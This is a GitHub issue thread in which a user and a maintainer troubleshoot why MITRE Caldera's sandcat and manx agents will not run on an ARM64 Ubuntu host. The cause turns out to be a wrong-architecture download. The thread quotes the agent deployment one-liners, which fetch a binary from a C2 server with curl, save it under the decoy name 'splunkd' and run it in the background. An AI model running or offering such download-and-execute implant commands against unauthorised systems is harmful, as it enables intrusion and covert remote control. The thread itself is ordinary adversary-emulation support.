Caldera sandcat&manx beacons not working with the arm architecture

[Sivakumar-nani]

I am using an agent which is "Ubuntu 24.04 LTS", and the architecture is "Linux Ubuntu 6.8.0-40-generic #40-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 5 11:20:03 UTC 2024 aarch64 aarch64 aarch64 GNU/Linux" (simply arm). The beacons I created from caldera are giving any shell back to caldera when I run those.

These are the errors getting for sancat and Manx, Note: Rogdol is working fine, but I think Rogdol beacon is difficult to run (like creating vent and all).

parallels@Ubuntu:~$ cat nohup.out
./manx.go-linux: 1: Syntax error: "(" unexpected (expecting ")")
./sandcat.go-linux: 1: Syntax error: ")" unexpected

[github-actions]

Looks like your first issue -- we aim to respond to issues as quickly as possible. In the meantime, check out our documentation here: http://caldera.readthedocs.io/

[uruwhy]

Can you provide the full logs (with any sensitive information scrubbed) for sandcat / manx? You can run the agent with the verbose flag (-v) to capture more detailed output.

And just to double check, this error occurs during regular beacons? Or does it occur when running a specific ability?

[Sivakumar-nani]

For sancat:

1. Caldera's default agent, written in GoLang. Communicates through the HTTP(S) contact by default.

parallels@Ubuntu:~$ server="http://x.x.x.x:8888";
curl -s -X POST -H "file:sandcat.go" -H "platform:linux" $server/file/download > splunkd;
chmod +x splunkd;
./splunkd -server $server -group red -v

bash: ./splunkd: cannot execute binary file: Exec format error

2. Deploy as a blue-team agent instead of red

parallels@Ubuntu:$ server="http://x.x.x.x:8888";agent=$(curl -svkOJ -X POST -H "file:sandcat.go" -H "platform:linux" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null;nohup ./$agent -server $server -group blue -v &
[1] 9526
parallels@Ubuntu:$ nohup: ignoring input and appending output to 'nohup.out'

[1]+ Exit 2 nohup ./$agent -server $server -group blue -v
parallels@Ubuntu:~$ cat nohup.out
./sandcat.go-linux: 1: Syntax error: ")" unexpected

3. Download with GIST C2

parallels@Ubuntu:~$ server="http://x.x.x.x:8888";curl -s -X POST -H "file:sandcat.go" -H "platform:linux" -H "gocat-extensions:gist" -H "c2:gist" $server/file/download > splunkd;chmod +x splunkd;./splunkd -c2 GIST -v
bash: ./splunkd: cannot execute binary file: Exec format error

For Manx:

1. Download with a random name and start as a background process

parallels@Ubuntu:$ server="http://x.x.x.x:8888";socket="x.x.x.x:7010";contact="tcp";agent=$(curl -svkOJ -X POST -H "file:manx.go" -H "platform:linux" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null;nohup ./$agent -http $server -socket $socket -contact $contact -v &
[1] 10853
nohup: ignoring input and appending output to 'nohup.out'
parallels@Ubuntu:$ cat nohup.out
./manx.go-linux: 1: Syntax error: "(" unexpected (expecting ")")
[1]+ Exit 2 nohup ./$agent -http $server -socket $socket -contact $contact -v

[uruwhy]

bash: ./splunkd: cannot execute binary file: Exec format error
Sounds like your sandcat agent is most likely not getting compiled or downloaded correctly. When you try to download sandcat, does your c2 server generate any errors?

Try running the "file" and "cat" commands on ./splunkd to see what the file contents and type are - my hunch is that you're getting some HTTP download or build error and that error message is what's getting saved as the executable file.

[Sivakumar-nani]

parallels@Ubuntu:~$ file ./splunkd
./splunkd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=MysHszzUCGiio5fWc5k2/XaDzgsuCh2D1HXhXityq/c8HiYfqKVyvun_ecC0OJ/mwNn7nJCqkmuGgft9Jjc, stripped

parallels@Ubuntu:$ head -c 5000 ./splunkd
@@@@@pp��@�@dd@@s.s.�.�n�nq0q0_��F� Q�t@c. ]�n�.�� e�e��eB� o���B8 y�����B������Bx] 5�_ � _�� �����ap�F�Fb� @g�@gh g C�@�d�Pb�SGoMysHszzUCGiio5fWc5k2/XaDzgsuCh2D1HXhXityq/c8HiYfqKVyvun_ec�aH���aH9�}s2H��H�gft9JjcUH��H��H�
H�H�H��]�1�H��豺�̺�������������@��������������������������̐�H��H��uH�@@�1������������H������������A�$�H�PH�5H�P@�/H�P8�)H�PP�#H�PX�H�P8�H�P8�H�PP�
H�P0�1�H��t�rf��u1�1���H�H��H��H���1�1�H�����������������������I;fv-UH��H��H��H��u
H�@@h�]��6���H��H�]�H�D�C�H�D�����������������������������UH��H��t1�1��
1�]�H�HH��H�IH�YH�ƐH�H�1�1�]�H�KH��H�4IH�4qH�ǐL�M�@h��|YE�E��A��H��H��I��H��@h�I!�L�A���u��H�H�@h��|H��H��H9�rH��]�H�1�1�]�H�KH��H�4IH�4qH�ǐL�M�@h����E�E��A��H��H��I��H��@h�I!�L�A���u�H�1�1��I�JH�4
H�<IH�<parallels@Ubuntu:$

Here you can see it is not meant for arm architecture but for Intel/AMD (x86-64) , I am not sure if this file is error messages payload or actual payload. In C2 I am not getting any error messages.

[uruwhy]

Okay, just wanted to eliminate other possibilities. Since we don't currently have a way via the GUI or curl command to change the architecture when building/downloading sandcat, can you try setting the C2 server's GOARCH environment variable to arm64, restart caldera, and then try building/downloading sandcat again?

[uruwhy]

My mistake, after reviewing the sandcat source code, it looks like there is a way to specify the architecture via the curl command - you need to specify the architecture header value with the GOARCH value of your choice (arm64, for example). As for GUI options, there are pre-configured agent deployment options available for both ARM64 and AMD64, but only for Mac target OS. We don't yet have GUI support for specifying other architectures just yet or for Windows/Linux, but you can always use the curl header method in the meantime